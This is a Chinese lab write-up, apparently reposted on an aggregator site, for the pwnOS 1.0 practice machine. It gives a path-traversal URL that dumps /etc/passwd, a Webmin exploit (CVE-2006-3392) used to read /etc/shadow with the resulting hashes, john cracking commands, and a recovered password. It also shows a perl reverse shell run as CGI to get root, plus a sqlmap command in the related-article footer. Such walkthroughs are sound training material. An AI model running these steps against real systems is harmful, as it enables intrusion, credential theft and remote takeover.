pwnos1

news/2024/9/20 14:26:57

文件泄露

80端口下存在文件读取

尝试读取用户列表

http://192.168.1.110/index1.php?help=true&connect=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

但是/etc/shadow提示权限失败

dirb中扫出来的目录也是无权限访问的

漏洞利用

将目标放到10000端口,可以发现有webmin登录界面,简单的sql注入或者弱密码没用。

同时在nmap的漏扫中发现这个页面有存在任意文件读取的漏洞,但是我是不清楚哪里才能识别到他的版本是多少

image-20240913185003453

searchsploit 查询一下

searchsploit webmin

可以看到能选取的漏洞很多,从红笔的视频中,了解到csrf优先级低,可以不考虑。authenticated权限漏洞在无登录方式时不考虑。还有一些其他无关的也能排除。而metasploit则不利于了解到利用的过程。

image-20240913185757438

同时nmap识别出来的是cve2006-3392

网上查询的利用范围是Webmin before 1.290 and Usermin before 1.220,所以选择2017.pl

searchsploit -m 2017.pl
perl 2017.pl                                         Usage: 2017.pl <url> <port> <filename> <target>
TARGETS are0  - > HTTP1  - > HTTPS
Define full path with file name
Example: ./webmin.pl blah.com 10000 /etc/passwd

构造读取shadow语句

 perl 2017.pl 192.168.1.110 10000 /etc/shadow 0 

得到有用的信息只有5条

root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

$1表明是用MD5加密的,$2是用Blowfish加密的,$5是用 SHA-256加密的,$6开头的,表明是用SHA-512加密的

可以使用john进行破解

john pass --wordlist=/usr/share/wordlists/rockyou.txt

但是真不如网上直接解密。得到vmware的密码,h4ckm3

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

image-20240913191134936

得到低权限shell

ssh连接,一样是因为版本过老的问题需要添加参数

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.1.110

发现vmware用户没有sudo权限,在各目录到处翻腾也没有找到什么有效信息(权限太低了)

提权

在之前的漏洞利用中知道它可以有权限读取到shadow文件,那么也代表着他能有root权限。然后可以通过webmin文件泄露漏洞执行cgi后缀perl反弹脚本

但是为什么读取任意文件还能顺手执行文件呢?查阅这篇文章后得知这是种特性

https://www.mnshijie.com/post/11764.html

在webmin 特定版本下的文件泄露漏洞的前提下,才会拥有这种既可以读文件、又可以执行 cgi 后缀的 perl 脚本文件的现象,其余时候出现的任意文件泄露漏洞都只能读文件。cgi:它是一段程序,运行在服务器上CGI程序可以是Python脚本,PERL脚本,SHELL脚本,C或者C++程序等

所以直接就利用kali中自带perl的反弹shell来用,记得修改端口与ip

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi

放入/tmp目录,这里基本是全权限的,再添加执行权限

chmod +x shell.cgi

最后通过任意文件读取触发

perl 2017.pl 192.168.1.110 10000 /home/vmware/shell.cgi 0

本地收到返回shell,权限为root

另外一种提权方式是发现www权限很高,bash版本又小于4.3,存在shell shock漏洞

pWnOS1.0靶场思路——一个靶场五种思路 – why403

https://blog.csdn.net/Bossfrank/article/details/131484763

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/61028.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

pwnos2

这台靶机要自行配置攻击机在10.10.10.0/24网段下 sql注入 80端口login处发现可以注入的地方,sqlmap能梭出来很多东西,但是好像都登录不了,--os-shell也是没回显的 sqlmap -u http://10.10.10.100/login.php --data="email=1&pass=1&submit=Login&submitted…

Java中的泛型

泛型的使用泛型是一种类型参数。将数据的类型,当做一个参数。1. 泛型的作用在创建集合对象的时候,限定集合存储元素的类型; 在编译的时候,就进行类型检查;2. 泛型的使用规则如果不指定泛型,默认是Object类型 泛型擦除:泛型应用于代码编译期,程序运行的后,泛型就被擦除…

urllib自定义opener对象设置代理IP

urllib.request.urlopen()源代码——urlopen()在干什么返回opener.open(url, data, timeout)方法的结果_opener = None # _opener被赋值为None def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,*, cafile=None, capath=None, cadefault=False, context=N…

成功塑造孩子的人生,这一步很关键!

塑造孩子行为极为重要 思维决定行为,行为决定习惯,这一理念在家庭教育中尤为重要。明智的家长如同经验丰富的指导者,细心关注并引领孩子塑造正确的行为。他们深知每个孩子都是独一无二的,拥有独特的性格与潜力,不可简单复制或预设。当孩子遭遇困难时,应及时给予支持引导其…

CSP 初赛要点复习

位运算 逻辑与、按位与之类的东西是不同的!“逻辑”的是判断两个数都不为 \(0\),“按位”的是判断两个数的每一个二进制位与的结果,是不同的。其他运算也类似。 运算符优先级如图所示:注意,~ 和 ! 是同级的。 加法位运算表示:a+b=(a^b)+((a&b)<<1)。

7、队列

1、链队#include<stdio.h> #include<malloc.h> #include<assert.h>#define ElemType inttypedef struct QueueNode{ElemType data;struct QueueNode* next; }QueueNode; typedef struct LinkQueue{QueueNode* front;//队头QueueNode* tail;//队尾 }LinkQueu…

初识Docker容器

初识Docker容器1. 什么是DockerDocker 是一个开源的容器化平台,用于自动化部署和管理应用程序。它通过将应用程序及其所有依赖打包成一个轻量级、可移植的容器来解决传统虚拟化中的性能开销问题。Docker 容器可以在任何支持 Docker 的环境中运行,无论是本地开发环境、测试服务…